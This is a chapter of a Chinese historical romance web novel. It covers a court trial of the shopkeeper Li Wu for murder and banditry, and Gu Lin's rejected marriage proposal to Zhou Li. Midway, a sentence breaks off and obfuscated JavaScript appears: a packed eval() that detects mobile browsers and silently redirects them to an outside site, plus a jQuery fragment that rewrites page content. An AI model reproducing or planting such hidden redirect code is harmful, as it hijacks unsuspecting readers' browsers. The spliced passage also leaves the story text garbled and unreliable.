转眼入冬,四季交替,周而复始,一年又要进入尾声。陆志远在房里听下面人汇报私盐的收益,心里盘算着就要年关,各处打点如何安排,昌州自然是独一份,官员格局又有变化,正伤神时,陆良匆匆闯进来,看了看周围,欲言又止。
陆志远知道有事,屏退了左右,陆良急道:“刚刚府衙来人,又将李武抓走了。”
“什么?府衙抓他做什么?”陆志远着实有些胆战心惊。
陆良道:“我得到消息就去疏通关系打听了,府衙那边只说是有人状告李武,还不止一个案子,别的他们也不敢多说。好像一会就要开堂审案。”
自上次李武被放出来,已经月余,这一个多月,他给顾临又捐钱又捐物,顾临也没再动作,他当真以为顾临确实没有为难他的意思,早已放下心来。如今听说李武又被抓,他却直觉是顾临所为,匆匆又去找王雄。
王雄和陆志远赶到府衙大堂时,邢洵才刚刚坐定,见了王雄忙客气道:“王道台稀客啊,今日怎么来了这里?”
王雄道:“邢知府,不必客气,我只是想来听个审罢了。”
邢洵自从接了顾临手书的状子,便知自己接了个烫手山芋,但他为官多年,当然还能应对,只向王雄笑道:“好好,道台请坐,请坐。”
说完一拍惊堂木,喝道:“带原告和被告。”
衙役们领命,一会便带出孟书吏遗孀于氏和李武,跪倒在地。
邢洵问道:“堂下原告何人,报上名来。”
于氏道:“老身孟于氏,是巡抚衙门孟书吏之妻。”
“你状告何人?”
“老身状告仁安堂掌柜李武,买凶杀人,致我夫惨死。”
一旁的陆志远听到这话,已冷汗直流,更别提已魂飞魄散的李武。
邢洵问道:“可有证据?”
这时一位姓孟的讼师上前禀道:“在下是于婶娘请的讼师,下面由在下代答知府大人的话。”
邢洵道:“好,你说。”
孟讼师道:“此案人证物证俱在,请大人过目。”
说着将刀和郑虎认罪的供词呈了上来,邢洵看完后问道:“郑虎和程鹏何在?”
又有衙役将两人带上来,邢洵问道:“你二人供词可属实?”
二人也都供认不违,因着连连出事,仁安堂最近老实地不敢联通消息,竟有一段时间没见到程鹏也没发觉。
邢洵又拍了拍惊堂木,向李武喝道:“程鹏、郑虎二人已供认是你指使他们杀的人,李武你可知罪?”
李武已吓得抖如筛糠,却仍强辩道:“大人明察,他们二人胡乱攀咬我,空口白牙怎么就能定了小人的罪呢!”
孟讼师道:“还有人证物证。”说着又让人将严超带上来,并呈上了他之前交代的私银和供词。
王雄看到私银的那一刹那,脸色也变了。
孟讼师继续道:“这便是物证,孟书吏伤重未死之时,在仁安堂医治,李武怕人醒来指证他,特买通严超在仁安堂闹事,意图诱离守门衙役,对孟书吏杀人灭口。当时抓到进门行凶之人来升,不日惨死牢中,大人应该还有印象。刚刚所呈私银便是李武买通严超的证据,大人派人去李武家里搜,应当还能搜到一样的私银。”
邢洵闻言忙发了签子,命人去搜,李武听到这里已瘫倒在地,陆志远也已不住发抖,这案子审得也太过顺利。王雄已在谋划如何断臂求生,让这案子就落在李武和孟书吏的私人恩怨上,也让郑虎和程鹏不要和山匪扯上关系。
邢洵见审得已差不多,刚想退堂将李武收监,旁边的师爷提醒道:“大人,还有一个案子没审呢!”
邢洵这才想起来,这案子审得太过顺畅,所有人证物证都递到手边,已将他整迷糊了。他清了清嗓子道:“带上来吧。”
周梨跟着走上堂来,王雄和陆志远都意外地看着她,听她跪下道:“民女周梨状告仁安堂李武通匪,勾结山匪强抢民女,暗通消息,截杀朝廷命官。”
此言一出,谁还能不明白,这是顾临的手笔?虽是两个案子,却是处处相通,多的证人不过王保军和高个、矮个,程鹏、郑虎依旧供认不讳,李武早已脱不了干系,症结不过在他到底供不供出陆志远。
顾临出征在即,整日里都忙得不见人影,这日回来得还不算太晚,周梨便又过来画没画完的图,静静坐在顾临斜对侧。
平安已在准备行装,总是进进出出,时不时过来问这衣服要不要带,那本书是不是不带。在他第八次转进来要开口时,顾临终于忍无可忍,瞪着他说了两个字:“出去。”
周梨见平安吓得一溜烟跑了,有些好笑,又有些担忧地问道:“大人定了哪天走吗?”
顾临答道:“五日后,大概案子也审完了。”
周梨低头从腰间解下一个荷包,递给顾临:“大人此去,万事小心。”
顾临接过,有一股药草香味,打开一看,里面还有一张平安符,他心中一暖,笑道:“阿梨,你是担心我吗?”
周梨笑笑道:“大人定会平安归来的。”
怎么能不担心,刀剑无眼,万一有个什么,她根本都不敢去想,可她什么也做不了。她从前说她不信这些,现在却只能诉诸于这些。她打算不等顾临回来就走了,能给顾临的也只有这无用的祝福。
顾临有些动容,终于有了机会,拉起周梨的手到旁边榻上坐下,又打开榻上小案中摆的匣子才道:“阿梨,等我回来,你嫁给我可好?”
周梨震惊得说不出话来,她颤抖着想抽回手,顾临却从匣子里拿出一块玉佩,放入她手中:“这算我给你的聘礼,等我回来,我再去跟舅母提亲,三媒六聘娶你做我的夫人可好?”
周梨低头看着手中的羊脂白玉,温润通透,心中却有万般情绪奔涌,顾临温声道:“这玉虽不值钱,却是祖父送我的,说已传承上百年,是我身边最贵重之物了。”
这些满是情谊的话语,让周梨心如刀绞,她将玉佩又放回匣中,抬头强笑道:“大人说什么玩笑话,说好了等事了了,我就可以走了。”
顾临一脸诚挚道:“阿梨,我没有玩笑,我知道这些日子让你受了许多委屈,我是真心想娶你为妻。”
周梨听了这话,心更痛得喘不过气,缓了半晌才又道:“大人,您看我们的身份匹配吗?人人都知道我已是您的妾了,谁会再娶妾做妻,不是多此一举,让人笑掉大牙吗?何况大人的家人又怎么会同意呢?父母之命,而后才有媒妁之言。”
“我不在乎别人笑不笑,这在我看来不是多此一举,我能做自己的主,我就是喜欢你才想娶你,与身份又有什么关系?”
周梨见他如此固执,只得道:“大人不在乎,可我有自知之明,我不想做你的夫人,站在不匹配的位置被人笑话。也请大人不要为难我,放我离开。”
顾临没想到周梨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355688|179001||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会是这样决绝的回应,他艰难地问道:“你为什么一定要走?你也知道对外人来说,你就是我的人,你这样出去,再让别人恶语相向、肆意嘲笑,就不在意吗?”
“我不在意,我和大人清清白白,不需要和他们解释,也不必听他们的胡言乱语!大人不必为我的未来忧虑。”
顾临有如坠冰窖之感,他深邃的眼睛望着周梨道:“哪里清清白白,你我早有肌肤之亲,是你忘记了。”
周梨讶异地看向顾临,顾临歉疚道:“对不起,那晚我也喝多了。”
周梨想明白他说的是哪晚,笑道:“我知道没有。”
顾临却垂眸道:“你左胸距锁骨三指处,有一颗红痣。”
周梨愣住,不再说话,只望着他,不知他到底想做什么。
“那天你告诉我你喜欢我。”
周梨心蓦地慌了,她不知道自己还说了什么,做了什么,她强作镇定:“大人,您知道我那日被喂了药,发生了什么都做不得数的。我对大人只有感激之情。”
顾临不可置信,觉得自己快失去理智:“只有感激之情?”
“是。”周梨艰涩地吐出这两个字,压下喉间的哽咽继续道,“大人何不也好好想想,您又能喜欢我什么呢?大概只是怜悯,是同情,您错把……”
“我知道我的感情!”顾临无法再忍受,他猛地搂住她的腰,吻住了她的唇,周梨本能地想逃离,却被他摁住了后脑勺,退无可退,她只能承受着这个带着怒意的亲吻,温柔却又霸道,她觉得这感觉陌生又熟悉,脑海中闪过一些画面,让她慢慢由抵抗变成了顺从,却又不住流泪。不知过了多久,顾临好像感觉到她的泪水,才渐渐松开了她。
他看着周梨满面泪痕,懊悔地扶了扶额,也不知自己究竟怎么了。
周梨抹了抹眼泪,心里清楚顾临不会轻易放她走,但是当断则断,她主意已定,冷声问道:“所以大人是因为那晚的事,才不让我离开吗?”
“不是的……”顾临想解释,却见周梨已走过来,将衣裳半解,坐到他怀中,勾住他的脖子,也来吻他,仿佛一根缠人的藤,让人闪避不开。
“阿梨,我错了…你别这样好不好…”
顾临想阻止她,可周梨根本也不听他的,边吻边道:“大人若是喜欢,我会好好伺候大人,只求事后大人能放我离开。”
顾临觉得心好似被千万根针扎了似的痛,他用力拉下周梨的手,替她掩好衣裳,痛心地看着她道:“为了离开我,如此都愿意吗?”
周梨依旧笑道:“本来还愁无以为报,若这皮囊能博君一笑,为什么不可以?”
“若是别人救的你,你也要这样报答吗?”
“是。”周梨的声音好似没有温度。
顾临沉默了好久,才惨然一笑:“是啊,为了报恩可以答应嫁给秦皓。怎么就不能为了报恩献身他人呢?”
他轻轻将周梨推开,落寞地走出了书房,再没有看周梨一眼。
周梨好像整颗心都被掏空了,她呆望着匣中玉佩,悲痛难忍,却流不出一滴泪。都是自己的选择,又伤心什么呢?
楚云说人不能被没发生的事情困住,可是她不敢赌,她见识过皇权生杀予夺的可怕,一夕之间,什么都可以倾覆。
官场就那么大,她怕总有人会认出她。为了自己的私心,待在顾临身边这样显眼的位置,一朝身份败露,得连累多少人呢?